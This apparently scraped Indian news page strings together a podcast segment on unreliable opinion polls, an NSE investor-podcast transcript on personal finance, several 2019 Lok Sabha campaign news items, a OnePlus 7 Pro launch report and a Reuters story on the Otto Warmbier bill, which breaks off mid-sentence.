Karthik Shashidhar observed in Mint back in April 2014, that opinion polls need to be credible, and the situation in India is currently far from that. Apart from CSDS-Lokniti, no opinion pollster in India deems it necessary to publish the methodology. We are forced to accept the numbers without any information on how many people were surveyed, how those people were chosen and what the margin of error in prediction is. Aakar Patel, who heads Amnesty International in India, observed in a column in Outlook, One of the biggest problems pollsters have is that people often lie in India. Not because we are devious...but because we have no confidence in how this information will be used and whether revealing it will harm us in some way. The agency CSDS does a post poll survey in which it sends its staff to peoples homes and conducts in-depth 30-minute interviews. (In contrast) Often the polling agencies seem to be merely guessing. An Economic Times article from 2014 which reported that BofA-ML highlighted the fact that opinion polls...tend to get it wrong in the Indian elections and therefore any observations based upon them must be taken with appropriate caution. A piece in Hundu Business Line explained that mathematician and psephologist Rajeeva Karandikar believes the ideal sample size to be around 50,000 respondents across the country, if the objective is a simple determination of who will win among the NDA, the UPA and others. A smaller sample would be inadequate, while a larger one adds no value. Also, these polls cost money. The Business Line analysis observed that costs work out typically to Rs 600 for every person interviewed, or 3 crores for a 50K sample. Few media houses today are prepared to spend such a sum on an opinion poll even if they could afford to, the temptation is to take the cheaper offer. And this is crucial because error creeps in right at that stage. A low budget opinion poll cuts corners...Ideally, once the sample size is fixed, selection of interviewees ought to be done by systematic (or circular) sampling...If, say, 20% of the Lok Sabha constituencies is to be randomly identified, then systematic sampling goes like this: take the list of constituencies, pick one randomly from among the first five, then choose every 5th from that number. The analysis added, This method is well-known to pollsters, but not everyone of them adopts this, because of time and money constraints. Instead, they yield to the temptation of sending a team to, say, shopping malls or railway stations with an instruction to pick interviewees of varied profiles in terms of age, gender and social status. You hardly get a representative sample. Praveen Chakravarty, chairman of the data analytics department of the All India Congress Committee, told India Today, "The increasing inaccuracy in electoral predictions is due to multiple factors. Most forecasters rely on the old style of forecasting using a vote share to seat share model which has lost its relevance today." Rahul Verma of Centre for Policy Research said, Polling agencies conduct a survey among electorates which helps them in making vote share estimates...then, statistical models are used to arrive at seat forecast. It is extremely difficult to make seat forecast in India for a variety of reasons. I find seat prediction as a second-order problem. I'm rather more worried about vote estimates going horribly wrong. Such issues are further compounded because, according to Verma, most social science departments in India, even many journalists who present poll numbers on the TV screen, do not have basic training in probability and statistics. This has created an environment of unwanted expectations from election polls. Are more accurate opinion polls possible? As weve demonstrated, opinion polls can go wrong. So should we all just ignore these polls and the talking heads who cant stop, well, talking about them? Yadav said, I am not recommending that you stop following the opinion polls and the forecast this election...I have always argued that a half-decent survey is more informative than drawing room or newsroom gossip. I would just suggest that you focus on the real and interesting trends, instead of just looking at the forecast of the number of seats for each party. The more interesting and useful information in an election survey is about percentage of votes for each party, its distribution across social segments, and the evaluation of the government and its leaders. Another thing to bear in mind, according to Economic Times, is that the margin of error, while extrapolating from a sample to something as gigantic and diverse as Indias population, can itself make a huge difference to the accuracy of the final tally. When the vote share is then used to estimate the number of seats, the scope for missing the mark becomes truly large enough to make a mockery of the survey itself. The lay audience for such opinion poll findings is unaware of these qualifications, and gets misled. And that presents a case for regulation. Karthik Shashidhar warned in 2014, If the Indian opinion-polling industry wants to save itself, it is imperative that it come together to form an association, which then imposes strict standards on its members. The primary objective of these standards should be to regain the confidence of the public in opinion polls. The polling agencies need to understand that in the absence of this, their very survival will be in doubt (it doesnt matter if they are not bannedloss of public confidence is enough of a killer). ET recommended in the same year, that all opinion polls must submit their sampling design, questionnaire and raw data to the Election Commission. They should then be made available to the public at large for independent scrutiny and critique. Then, an expert panel of the Election Commission vets a survey after which it could be disclosed to the public. And different experts can offer their own critiques of the poll findings. One column in Hindustan Times claims that pollsters would be better off following something called a Bayesian model. In simple terms, it means factoring probability into the entire polling exercise. Nate Silver, who correctly called 49 of the 50 US states in the 2008 US presidential election, is a big proponent of Bayesian models. Interestingly, Bayesian models have been used in politics, sports, weather, and also, for kicks, to predict the winner of reality shows. We havent heard the last of such criticism of opinion polls in India. According to Chakravarty, there is no accountability for wrong forecasts. He said , My analysis shows that forecasts were wrong 85% of the time in state elections post-2014. Yet, the same pollsters continue to predict without any accountability. At the very least, viewers should be told every agency's past accuracy record. I suppose the one conclusion we can arrive at, given all that weve heard during this podcast, is that opinion polls should be taken with a pinch of salt. Que sera sera. Hrishi K: Hello and welcome to another episode of NSE Presents: Invest O- Cast (An exclusive investor podcast) Powered by MoneyControl. My name is Hrishi K and I am your host Hrishi K on the podcast is a very special one for all of us. It is the final podcast of the Invest-O-Cast series. Weve told you how to make your money, where to save your money, what are the levels of risk that are suited for you, how to educate your children on the importance of money, what to read to make yourself smarter whoa! Thats quite a list and it isnt done. The last couple of months have gone by so quickly. We are already in the new financial year and it didnt really strike us how far we have come so quickly. The National Stock Exchange does so much for investor awareness and this series of podcasts has been right up there in educating retail investors and giving them a sound foundation for their investing strategies. India is growing and so should your wealth. Its now the final episode of the series and we are going to end the series with the same man who kick started it: The Editor of Moneycontrol - Santosh Nair. Hi Santosh. It's great meeting you again. How are you? Santosh Nair: I am doing good Hrishi, thank you. Hrishi K: In between our meetings, we have had some great names on the show, people who have given our listeners a completely new perspective on personal finance and investing. It's been such a good ride, the reverse of a roller-coaster actually, we've only gone up! Haha. Santosh Nair: Yes, Hrishi. It was indeed a pleasure to be a part of this series and even after having followed the stock market and personal finance space closely for so many years you realise that there is always something new to learn. Listening to experts talk about how to manage your money well you really feel good and there was something very interesting to learn from each of the speakers. Hrishi K: National Stock Exchange (NSE) with the help of InvestOCast (An exclusive investor podcast) Powered by Moneycontrol is committed to break the limitations of geographical boundaries and reach investors across the country. A quick recap for our listeners about Santosh. He's a veteran financial journalist. Santosh oversees content on the Moneycontrol website, he writes on trends and policies related to the stock market and profiles investment gurus. He's been writing on the stock market for 22 years now and has authored a book titled, "Bulls, Bears and Other Beasts". He's been with Moneycontrol for eight years, and he's the perfect person to recap the Invest-O-Cast journey. Santosh Nair: Thanks for all the kind words. Yes, indeed we had a variety of experts talking on various asset classes - equities, debts commodities. More importantly the series had advice for various profiles of investors. So depending on whether you are a pensioner, a housewife, student or parents looking to teach the value of money to his child. I think just about anybody who tuned into this podcast had something interesting to learn and I think that should hopefully go a long way in making people much more informed investor and being careful with their money. Hrishi K: Well, this is your second episode of the series. But as a listener you have been very actively involved, you have been having a lesson. What are the top 3 takeaways for you from the series Santosh? Santosh Nair: Well Hrishi that is a tough question. Now you saying top 3 in fact there are far more. I would say that for me there were at least 4, I would list them this way. The one I would say is disciplined and it doesnt matter how much you putting aside every month I would say that you should set aside money consistently month after month. The second thing I would say you need to define your risk as well as your expectation. You must have an idea of how much you are prepared to lose that is very important and that is something that people dont pay attention to, so that is something you need to keep in mind. Then comes the expectation part, Hrishi I think often what happens is we get swayed by what we hear about other people talking about the kind of returns they have made from the stock market, just to give an example but they are not always giving the right picture and specifically in the case of stock market a lot of people do feel where you can go and quickly grow your money, well it never works that way. So I think you need to temper your expectation that is very very vital. More importantly you also need to be prepared to take that occasional loss, if you are investing in a risk asset like equities you should be aware that there is a good chance that you might lose some money but when that happens you should be prepared for it and you shouldnt be too hard. The risk is far lower when you look at some of the other asset classes particularly debt but they are also now if you see track the recent events you will find that even debt is not entirely risk free. So be prepared to take the occasional loss if it comes and the most important one I would say is that you need to be very patient because for compounding to have its full effect, it takes a long time and you need to stay the course, be disciplined, keep investing month after month. There may be a period where pretty much nothing is happening but you shouldnt be discouraged, so patience is as important as discipline I would say Hrishi. Hrishi K: Ok, now we had a very interesting episode with Dipan Mehta Santosh, he was talking about the uncertainties of 2019. We are actually bang in the middle of the first of those uncertainties, which is bang in the middle of the elections. So how should investors react right now? We all know its going to be an acid test, the challenges, the notions, and the very notional risk appetite? Santosh Nair: So Hrishi I would put it this way. I have been tracking the market for quite some time now and I have seen lot of elections, assembly elections and general elections. So what I observed in general is that market tends to react to these events in the short term, over the longer term these events really dont matter, so of course there are exceptions to the rule. Now say for instance you know that a particular company actually depends upon political patronage and it is because of this that its been reporting some really good numbers, probably that company could be in trouble, whenever there is a change of government at the center or even at the state level as we have seen in the case of cable television companies in Tamil Nadu but on the whole elections dont really make a difference to your portfolio I think everything averages out over a long period. So my advice would be dont focus too much on short term events. What you need to do is identify the right investment and how much you are prepared to risk and you should come out fine. Hrishi K: Santosh, we spoke about mutual funds and SIPs early on in the series. The market is touching new highs but a lot of people are cashing out their SIPs now. Is that the smart thing to do, your opinion please? Santosh Nair: Well Hrishi, I have my own view on this. So ok, some people say that you just keep investing money month after month dont look at it at all, but I would say that you are investing for good returns and as much as you invest and save you should also spend, some bit of it. I dont think it is indeed a bad habit to be occasionally booking profits but if you are stopping your Systematic Investment Plan altogether then that is a problem and you are stopping it just because the market is falling and you feel that it is not the right place to be in, I think that is an error. Investors need to keep one thing in mind. Whenever they are booking profits they should have a purpose for that money that they taking out. Dont let it stay idle. So if there is a purpose then I would say there is no harm in booking profit once in a while that purpose could be anything. It is that vacation that you always wanted to go, probably it is the car that you always wanted to own, and it could be anything. But if there is a purpose well no harm, but after you have booked profits I would say that still continue to stay at the path so in my view dont panic, dont stop your SIPs simply because the market is in down turn because over the longer term clearly thing average out. Hrishi K: You are listening to National Stock Exchange (NSE) presents Invest O- Cast (An exclusive investor podcast) Powered by MoneyControl were committed to break the limitations of geographical boundaries and reach investors across the country. With me is Santosh Nair, Editor for MoneyControl and we doing a quick recap of the series. Santosh, you are an author yourself. You must have been all ears on the Kiran Telang episode. Kiran spoke about the books that make us smart investors. And that leads me to a logical question, what are your favorite books related to personal finance and related to investing? Santosh Nair: Well yes indeed, Hrishi I did tune into that particular episode of Kiran Telang and I love books really and I love reading, but when it comes to personal finance and investing some of the books that I have enjoyed really dont have a direct relation to investing but they do teach you some of the basic lessons. So there is this book called Predictably Irrational by Daniel Ariely he is ex-Israeli service man, so he had suffered some injury and during the time that he is recuperating he kind of started delving into you know lot of questions very deeply, why do we decide like this, why is it we take certain decisions like this and why not this way. Why do we act in certain way? So it is conducted a series of interesting experiments. So there is a lot that I learnt from that book and as I said that it is not directly related to personal finance but the fundamental premise here is that you need to ask yourself some relevant questions. Before you take a decision, Ill just will give you a random example, so for instance if lets say there is a shirt that you plan to buy and you are getting 100 rupees off. It is a 1000 rupees shirt and you are getting 100 rupees off and lets say few blocks down the line there is a sale at a footwear store where you get the pair of sneakers for 4000 rupees and you are getting 100 rupees off on that. Typically what you tend to do is 100 rupees on 1000 means 10% that is really nice discount I am getting, so it is worth the trouble. Why should I walk there when I am saving 100 rupees off on 4000 bucks but that is pretty miser which is barely 2-3% but the fact in both cases is that you are saving 100 rupees? So even you might look at it on a relative basis. And in absolute terms you are actually saving 100 rupees and in both case it is pretty much the same. Then I like Joel Greenblatt The Little Book that still beats the markets, so in the book Greenblatt has advice investors to look at 2 parameters that is earning yield and return on capital. And he says that then combines these 2 factors and choose the stock. Also enjoyed Nassim Taleb Fooled by Randomness that book basically explains how luck, uncertainty, probability, human error, risk and decision making work together to influence your action. What that book says that you may do all the right steps but still its not a given that you know you will get the desired outcome. Hrishi K: So you look at the combination of life lessons and finance? Santosh Nair: Yes, Hrishi you have summarized pretty well. Hrishi K: One of my favorite episodes was when we spoke about the role of women in investing today. We havent given them enough credit so far and there is no doubt about that and its time to change that. The insights that Medha Raheja gave us opened up so many eyes. So you know the end of every podcast Santosh I do something known as Wisdom in the bank segment, where I just recapped whatever is happened through this episode. What is your favorite Wisdom-in-the bank moment from that women investing special the one by Medha Raheja? Santosh Nair: So a couple I will just dwell on the most important one, so something that I found very helpful is that Dont keep any funds lying idle at home, dont keep anything in cash, cash basically it is a dead asset thats what Medha Raheja said put everything in your bank account and sign out for the systematic investment plan or even a recurring deposits but the basic point of view she is trying to make is that dont keep anything in cash, so thats a very helpful tip. Because we sometimes tend to look down on something like Recurring Deposits, we used to do that many years back but now we think that you know it doesnt give all that good returns, but the important thing is that it combines 2 things one it helps you maintain a certain discipline and then at a certain point when you actually are looking for some money, you will be very happy to know that over a period of time it has grown actually into a tidy little sum. So that was good take away and she also said that one should read up a lot about investments after all it is your money. And even if it is starting with small thing like an article in the newspaper you need to be aware of all the things related to finance happening around you, so these I think are some really good takeaways from that episode. Hrishi K: Youve been in this business for over 2 decades, 22 years, if I am not mistaken. You have observed the world of investing and have picked the brains of so many investment gurus while you are writing, while you are podcasting. How do you see the world of investing unfolding in India over the next 10 years? What are some tips that you would give our investors based on the Invest-O-Cast podcast as well as your personal experience? Santosh Nair: So Hrishi as I see it there is already lot of awareness about the need to say, so partly this is also driven by societal trends, so earlier you had pretty steady jobs, people would be in a job for many years at a stretch that is not the case now. The good thing here is that you know people seem to be earning more, they are getting better salaries. Job security is less, so per force most people try to put money aside a little more particular. The second trend is that people also enjoy spending and indulging themselves so which means that they need to generate good returns on whatever they saved. So these 2 trends means that probably you will see better times for financial advisors because people are now very keen to save money, this awareness was not so much at least some years back and there are more instruments now available better vehicles for investing your money and getting a decent return. So the trend broadly is that, you will see increasingly more attention being paid to managing your finance well, is a pretty much good thing. I read an interesting tweet this morning and I would say that pretty much summarizes what investing is all about. So this tweet was that Good investment skills are like driving So when it comes to driving you know things that are important are like choosing the root, vehicle, knowing when to step on the actual accelerator, when to brake and take an alternate route. So similar skill set applies to investing as well. Basic knowledge is good enough in both cases and you just need to keep at it and you will definitely improve as an investor. Just follow the basics. So even as I mentioned earlier also, if you are disciplined and if you are patience, those 2 attributes in themselves are very good enough, the rest is all about experience you will come across many situations where sometimes you have done a lot of research and things havent played out really well. In some cases you just went, followed your gut instinct and then things played out really well. All these things will happen; those are experiences that you will collect over a period of time that will help you become a good investor. But the 2 things that I will keep stressing are discipline and patience just follow this and I think you will be able to grow your money pretty well. Hrishi K: Santosh, its been an absolute pleasure having you on the show today and its also been a great ride with MoneyControl on this podcast. Actually I have learned a hell of a lot from these 24 podcasts that we have done together. My producers here have been awesome, brilliant bagging one top notch advisor after another. Its been a blast! Thank you very much. Santosh Nair: Thank you Hrishi. And that is a wrap on our show NSE presents Invest-o-cast! I am your host Hrishi K for NSE Presents: Invest O- Cast (An exclusive investor podcast) Powered by MoneyControl. To know more about our podcast, log on to moneycontrol.com and visit the podcast section. In case you would like us to address any of your investment queries on our show do write into us at: nseinvestocast@nw18.com. Thats nseinvestocast@nw18.com. You can also reach out to us on Twitter @moneycontrolcom , Twitter @moneycontrolcom or Facebook @moneycontrol.com, do remember to use #nseinvestocast, so its #nseinvestocast Thank you for listening! Disclaimer: The material on this show is for informational purposes only. Please consult a financial advisor before taking any financial decision. Representative image Actress Shabana Azmi charged the BJP with playing "communal politics" to divert public attention from its failure in providing jobs, security to women and fulfilling other promises it had made during the last general election. Addressing a poll meeting here in support of CPI candidate Kanhaiya Kumar, pitted against Union minister and BJP leader Giriraj Singh from Begusarai in the ongoing parliamentary election, Azmi said, "It did not take much time for them (BJP) to get exposed, for the people to realise that their promises were just jumlas (rhetoric). So, they are back to their old game of pitting Hindus against Muslims." The national award winner, known for her social activism, recalled the association of her father, poet Kaifi Azmi, with the Communist Party of India (CPI) and said, "For him, his membership card used to be the most prized possession. He always kept it in his pocket." "We, as children, were raised with the progressive values he stood for. He gave us a life, wherein we had few possessions, yet felt the richness of life. This has been a uniqueness of those associated with the Left movement. Kanhaiya represents the same," she said. Showering praises on the former JNU Students' Union president, Azmi charged the Narendra Modi government at the Centre with slapping a "fabricated" sedition case on Kanhaiya and "falsely accusing" him of belonging to the "tukde tukde gang". "Please vote for Kanhaiya on April 29 and send him to Parliament. Young men like him are our hope for a future, wherein our heritage of a composite culture would remain preserved," she said and ended her speech by saying "kamanewala khaega, lootnewala jaega" (the one who toils shall earn while the one who seeks to plunder shall be driven away). In an apparent reference to the Rashtriya Janata Dal (RJD) candidate from Begusarai, Tanveer Hassan, Azmi said, "Please be on your guard against appeals to vote in the name of your religious identity. Muslims must not vote for someone just because he or she belongs to their community." Actor Prakash Raj also spoke at the meeting addressed by Azmi and came down heavily on the ruling Bharatiya Janata Party (BJP) for "trying to divert the public discourse from issues like jobs to non-issues like cows". Raj, who took the political plunge rattled by the killing of his close friend and journalist Gauri Lankesh, said he was himself contesting "against the chowkidar" -- a metaphor to denote Prime Minister Modi and the BJP -- from Bengaluru and added, "If god appeared before me and said either Kanhaiya or me could fight elections, I would have stepped down in favour of this young man. The Congress slammed Arvind Kejriwal for the AAP supremo's remarks that the grand old party was not getting a single Hindu vote while Muslims were confused, saying he was doing what the BJP did and mixing politics with religion. Speaking at the launch of the Aam Aadmi Party's (AAP) manifesto for the ongoing Lok Sabha polls, Delhi Chief Minister Kejriwal said the Congress was not getting a single Hindu vote while Muslims were a little confused. Hitting back at the AAP chief, Congress spokesperson Ragini Nayak said, "I feel Kejriwalji himself is confused." She said the top leadership of the Congress had extended a hand of friendship towards Kejriwal for an alliance, but he brushed it aside. "Then he says the Congress is responsible if (Prime Minister Narendra) Modiji wins. In Delhi, now he is mixing politics and religion," Nayak said, while asking whether Kejriwal had joined electoral politics for this alternative politics. "I remember the big dreams he had shown -- morality in politics, transparency in politics, inclusive politics -- and today, he is doing what the BJP does, that if you are a Hindu vote for them, if you are a Muslim vote for them. I feel this is not good for the strength of democracy," the Congress spokesperson said. Kejriwal also alleged that the Congress was trying to weaken the opposition in different states -- "whether it is Kerala, Haryana, Goa, West Bengal or UP, but I hope people from all religions, who want to save the country, would unite and vote for the AAP". Congress candidate Atanasio Monserratte on April 26 filed his nomination for the next month's bypoll in the Panaji Assembly constituency. Monserratte, accompanied by Leader of Opposition Chandrakant Kavlekar and other Congress functionaries, submitted his nomination papers to the District Returning officer here. The former state minister is the first candidate to file the nomination for the May 19 by-election to the Panaji seat, which fell vacant due to the death of sitting MLA and then Chief Minister Manohar Parrikar on March 17. Talking to reporters, Kavlekar said the Congress is confident of wresting the seat from the BJP. "People are supporting the Congress party in a big way and you will see the impact even in the Panaji by-poll," he said. Monserratte, who was vice-president of the Goa Forward Party, resigned from the regional outfit to join the Congress earlier this month. The BJP is yet to announce its candidate for the Panaji constituency. The ruling party has shortlisted two names for the seat - Utpal (38), the elder son of late Parrikar, and former MLA Siddharth Kunkolienkar - and is yet to take a final call on their candidature, a party leader had said on April 25. Prime Minister Narendra Modi on Friday exhorted voters not to fall into the trap of those who say that he has already won the election, so it is fine not to vote. He asked people to come out in large numbers to participate in the process. "Some people are creating an atmosphere that Modi ji has already won (the election) and it is fine not to vote. Please don't fall into their trap. Voting is your right and everyone must exercise it," Modi told reporters after filing his nomination from Varanasi. The prime minister on Friday filed his nomination papers from the Varanasi Lok Sabha seat, accompanied by top BJP and NDA leaders. Besides BJP chief Amit Shah, Home Minister Rajnath Singh and External Affairs Minister Sushma Swaraj, top NDA leaders such as Bihar Chief Minister Nitish Kumar, SAD leader Prakash Singh Badal and Shiv Sena chief Uddhav Thackeray were with Modi at the Collectorate as he filed his papers. The prime minister offered prayers at a temple before he went to the Collectorate. He had won the Varanasi seat in 2014 by defeating his nearest rival, Aam Aadmi Party chief Arvind Kejriwal, by a massive margin of over three lakh votes. Union Minister Thawar Chand Gehlot on April 26 said the BJP-led National Democratic Alliance will win more than 300 seats in the Lok Sabha elections as there is a tsunami in favour of Prime Minister Narendra Modi. He also said the BJP will win all the 25 parliamentary seats in Rajasthan. "In many places across the country there is a tsunami in favour of Prime Minister Narendra Modi. There is also a wave in his favour in states like Karnataka, Kerala and Madhya Pradesh," Gehlot, who is the Union Minister of Social Justice and Empowerment, said. He said the NDA government under Modi has taken "historic" decisions for the unity, sovereignty and security of the country in the last five years. The government gave a befitting reply to those who support terrorists, he said. Gehlot said the economy of the country has "strengthened" under Modi's rule and several welfare schemes were launched for the benefit of the people. Attacking Congress president Rahul Gandhi, the Union minister said, "Wherever he (Gandhi) goes in the country, he only speaks lies. In Rajasthan, he said several things which hold no truth." Gehlot said to create social equality and harmony in the country, the government has worked to give reservation for economically deprived people among the general category. "With good intention, the government enacted a law to provide 10 per cent reservation in jobs and education for the general category poor," he said. Representative image After the conclusion of three phases of the crucial Lok Sabha elections, the nation is heading towards the fourth phase scheduled on April 29. A total of 943 candidates of different political parties are fighting in the ballot battle in phase 4 of the ongoing general elections. Their fate will be sealed by the people of 71 constituencies across eight states. Before the voters turn up to the polling booths and cast their vote, here is a detailed look on the criminal cases, education, financial background and other details of candidates on the basis of a survey report issued by the Association for Democratic Reforms (ADR). The report analyzes 928 of the total 943 candidates, who are contesting in the fourth phase on the basis of disclosures made in their respective election affidavit. Of all the 928 candidates analysed, 205 are from national parties, 48 are from state parties, 330 are from registered unrecognized parties, and 345 candidates are contesting independently. Lok Sabha polls: For the latest news, analysis and opinions, click here The report does not analyse 15 candidates as their affidavits were either badly scanned or their complete affidavit was not uploaded on the website of the Election Commission of India. Here are the details: Criminal background Of all candidates analyzed, 210 candidates have declared criminal cases against themselves. This makes 23 percent of all contenders in the fourth phase of Lok Sabha elections. Going party-wise, 25 (44%) out of the 57 candidates from the BJP; 18 (32%) out of the 57 candidates from the Congress, 11 (20%) out of the 54 candidates from the Bahujan Samaj Party (BSP), 12 (57%) out of the 21 candidates analysed from the Shiv Sena, and 60 (17%) out of the 345 Independents have declared criminal cases against themselves in their affidavits. Red Alert Constituencies: Of the 71 constituencies, 37 are red alert constituencies, which means these seats have three or more candidates with criminal cases against them. Financial background Of the 928 candidates, 306 are crorepatis. It means 33 percent of the contenders have declared assets worth more than Rs one crore. Going party-wise, 50 (88%) out of the 57 candidates from the Congress, 50 (88%) out of the 57 candidates from the BJP, 20 (37%) out of the 54 candidates from the BSP, 13 (62%) out of the 21 candidates from the Shiv Sena and 8 (80%) out of 10 candidates from the Samajwadi Party (SP) have declared assets worth more than Rs one crore. Education 404 (44%) candidates have declared their educational qualification to be between class 5 and class 12, while 454 (49%) candidates have declared having an educational qualification of graduate and/or above. 34 candidates have declared to be just literate and 9 candidates are illiterate. Shiv Sena Chief Uddhav Thackeray said that Opposition parties, which do not even have a prime ministerial candidate, are making tall promises. He was addressing a rally at Chakan near Pune for Shiv Sena MP and candidate from Shirur Lok Sabha seat Shivajirao Adhalrao Patil. "We have a strong PM candidate in Narendra Modi. But if you ask them (Opposition) who is your PM candidate, they say first give us votes and we will see later. "Today they do not have PM candidate and these people talk about improving the condition of the country....first go and search for a leader," the Sena chief said. "Everyone in Opposition's alliance wants to sit in the PM's chair, but this is not a game of musical chairs," he quipped. Adhalrao Patil has a connection with the people of his constituency and he will win a fourth term with a bigger margin, Thackeray said. In a dig at actor Dr Amol Kolhe, who quit the Sena ahead of the polls and has been fielded by the NCP in Shirur, Thackeray asked people whether they wanted an MP who works for the constituency or someone who works in TV serials. On the bickering between the BJP and Shiv Sena, who are nevertheless contesting the elections together, Thackeray said he formed the alliance with the BJP for the sake of well-being of farmers and other sections of society. "The tiffs between the Sena and BJP were sour and sweet," he said. The Sena chief also said that "one should not make capital out of the valour of our Armed Forces", nor should anyone question the surgical strike and the air strike conducted by the forces after the Uri and Pulwama terror attacks. Samajwadi Party president Akhilesh Yadav on Friday accused Prime Minister Narendra Modi of doing nothing for the "thirsty" Bundelkhand region of the state. The SP chief also dubbed Yogi Adityanath as "baba chief minister" and said that till yesterday he had faith in 'babas' but after non-fulfilment of promises by UP government, he was not sure. Addressing an election rally here, Yadav said, "Sometime ago the prime minister had come here and told a story about Kutch region of Gujarat which faced water problem and said life there has changed...the reality (here) is that he has done nothing for thirsty Bundelkhand". "Have you all forgotten about promises made in 2014 elections...I want to ask the people of Jhansi and nearby places as to what change has come in your lives in the past five years," he asked. Taking a dig at local MP Uma Bharti, who is not in poll fray this time, Yadav said ,"Remember she headed the department related to water...she had responsibility of Ganga cleaning...had claimed she will do, God knows what, if the Ganga was not cleaned...but there is no water in Bundelkhand...will have to go elsewhere for drowning...she did not have courage to face people of Jhansi." Referring to Chief Minister Yogi Adityanath, Akhilesh said ,"Our state has baba chief minister...when the baba chief minister had come for the first time before you he had talked about Bundelkhand Expressway and Metro station in Jhansi." "Till yesterday, we had full faith in babas but don't know if it will be so now ... you people tell me where is Metro station, I also want to sit in the Metro," he said adding, the baba chief minister knows nothing about roads and expressways. The former chief minister said the then SP government had given its share meant for development works to Jhansi but the Centre has yet to fulfil its responsibility. Congress president Rahul Gandhi on Friday said his flight to Patna was forced to return to Delhi after experiencing "engine trouble". Gandhi wrote this on Twitter and also posted a video of the flight which shows him, the pilot and co-pilot in the plane. "Engine trouble on our flight to Patna today! We've been forced to return to Delhi," Gandhi tweeted. "Today's meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. Apologies for the inconvenience," he said. Gandhi is on a campaign trail, criss-crossing the length and breadth of the country for the Lok Sabha polls. The BJP alleged that there was a tacit understanding between NCP supremo Sharad Pawar and MNS chief Raj Thackeray. Thackeray is holding rallies across Maharashtra, 'fact-checking' Prime Minister Narendra Modi's speeches and his government's claims, and asking people not to vote for the BJP. State minister and senior BJP leader Vinod Tawde said it was obvious whose "script" Raj Thackeray's had adopted. "Pawar and Thackeray have addressed public rallies at different places, but their language is same. Pawar said the Modi government and BJP are heading for dictatorship. The same was repeated by Raj Thackeray," Tawde said here. While Pawar said Modi was seeking votes in the name of martyrs, the MNS president made the same allegation, he added. "People now know on whose script Raj Thackeray is working," the BJP leader said. Tawde also slammed the MNS chief for bringing Monica More, a railway accident victim, on stage at his rally in suburban Bhandup. "When Monica met with accident, the Congress was in power. But it didn't do anything for her. BJP MP Kirit Somaiya provided help to Monica," Tawde said. Instead of questioning the Congress and NCP, Thackeray was now posing questions to Somaiya, he said. Tawde also claimed that Wing Commander Abhinandan Varthaman was released by Pakistan due to the international pressure created by the Modi government. "If Pawar is claiming Abhinandan was released due to the Geneva convention, why Kulbhushan Jadhav (former Indian Navy officer who is in Pakistan's custody for alleged espionage) was not released? Pawar should admit that Abhinandan was released due to the Modi government's efforts," he added. Tripura Chief Minister Biplab Deb's wife, Niti Deb, rubbished rumours that she was seeking a divorce from her husband on grounds of domestic violence. Her response came in the form of a Facebook post after documents emerged on social media purportedly of the divorce documents. "Rumours have no mouth, only dirty, filthy and sick minds generate [rumours] for cheap publicity and mileage, and importantly, when paid high for spreading such dirty rumours to gain political advantage against influential people; otherwise who will follow these culprits," she wrote in the Facebook post. The Tripura police also filed a police complaint against a person in connection with the post. Niti Deb is an officer of the State Bank of India (SBI) and is now serving at a branch of the bank here. She was earlier posted in the Parliament branch of the bank in New Delhi. The couple has two kids -- a son and a daughter. Advocate Ashwani Jha, whose name was mentioned in the Facebook post, told reporters over phone that it was about a divorce suit filed by a man who resides in Delhi and there is no connection with either the chief minister or his wife. "This document is about a divorce suit filed by a man from Delhi against his wife in Tees Hazari court. It is not in anyway related with the Tripura CM Biplab Kumar Deb or his wife Niti Deb. Any report based on it is fake news," advocate Ashwani Jha said. - With PTI inputs OnePlus has confirmed that the company is launching a Pro variant of the flagship killer. The company is now expected to follow its typical marketing plan of dropping teasers and revealing some basic specifications of both the devices. To start off, OnePlus has just confirmed that the OnePlus 7 Pro would have a triple camera setup. OnePlus has started sending invites for the launch event on May 14. The company has uploaded a 10-second video on its Twitter handle confirming the OnePlus 7 Pro with a triple camera setup. This comes in as no surprise as many reports from popular tipsters suggested that the first Pro variant of a OnePlus device would have a triple camera setup. This is also the first time that OnePlus would feature three cameras at the back. If we go by the leaks and reports, the OnePlus 7 Pro's triple camera setup would have a 48MP primary camera at the back. The other two cameras are going to be a 16MP ultra-wide angle lens and an 8MP telephoto sensor. Another specification that OnePlus may have confirmed is the curved, edge-to-edge display on the OnePlus 7 Pro. OnePlus USA's early-bird invite ticket shows a OnePlus device with a curved display. Go Beyond Speed on May 14. Get your early bird tickets to the #OnePlus7Pro Launch Event. OnePlus USA (@OnePlus_USA) April 25, 2019 Previous reports suggested that the OnePlus 7 Pro would have 6.64-inch QHD+ curved screen with no notch. The company is going all-screen and would have a 90Hz refresh rate. Lau has confirmed that the company has worked on making the OnePlus 7 Pros display super smooth and very crisp. This also means that the front camera would have a pop-up mechanism. Under the hood would be a Snapdragon 855 SoC paired with 6GB/ 8GB/ 12GB RAM and 128GB/ 256GB storage options. The Pro model would come packed with a 4,000 mAh battery and support WARP charge at 30W. It would have USB 3.1 and dual speakers at the bottom. Lau has confirmed that there would be a 5G-ready version of the OnePlus 7 Pro. The OnePlus 7 Pro may get a price tag of over Rs 50,000 in India, which would not make it an affordable flagship device. Recent price leaks suggests that the 8GB + 256GB variant would cost 749/759 (roughly Rs 59,000) whereas the 12GB + 256GB variant would be priced at 819/829 (approximately Rs 64,700). The prices are going to vary for different international markets as per the report. While we wait for more official teasers and hints, the OnePlus 7 and OnePlus 7 Pro are set to launch in India, USA, and the UK on May 14 . OnePlus would host the India launch event in Bangalore which starts at 8.30 pm on May 14. President Donald Trump approved payment of a $2 million bill presented by North Korea to cover its care of comatose American Otto Warmbier, a college student who died shortly after being returned home from 17 months in a North Korean prison, the Washington Post reported on Thursday. The Post said an invoice was handed to State Department envoy Joseph Yun hours before Warmbier, 22, was flown out of Pyongyang in a coma on June 13, 2017. Warmbier died six days later. The U.S. envoy, who was sent to retrieve Warmbier, signed an agreement to pay the medical bill on instructions passed down from Trump, the Post reported, citing two unidentified people familiar with the situation. "We do not comment on hostage negotiations, which is why they have been so successful during this administration," White House spokeswoman Sarah Sanders told Reuters. Yun also told Reuters he could not comment on diplomatic exchanges. But in an interview with CNN on Thursday, he said he was given broad orders to secure Warmbier's release and he understood the instructions came directly from Trump. "Yes, my orders were completely: Do whatever you can to get Otto back," he told CNN. Yun said he understood that money had been exchanged in previous releases of U.S. prisoners and was justified as "hospital costs," but he gave no further details. In another interview on CNN, Yun said the United States did not pay any ransom for American prisoners held by Pyongyang while he was the special representative for North Korea. He left the post in March 2018. The bill was sent to the Treasury Department and remained unpaid through 2017, the Post reported. It was not known if the administration later paid the bill. Representatives for the State Department did not respond to a request for comment. Warmbier, a University of Virginia student visiting North Korea as a 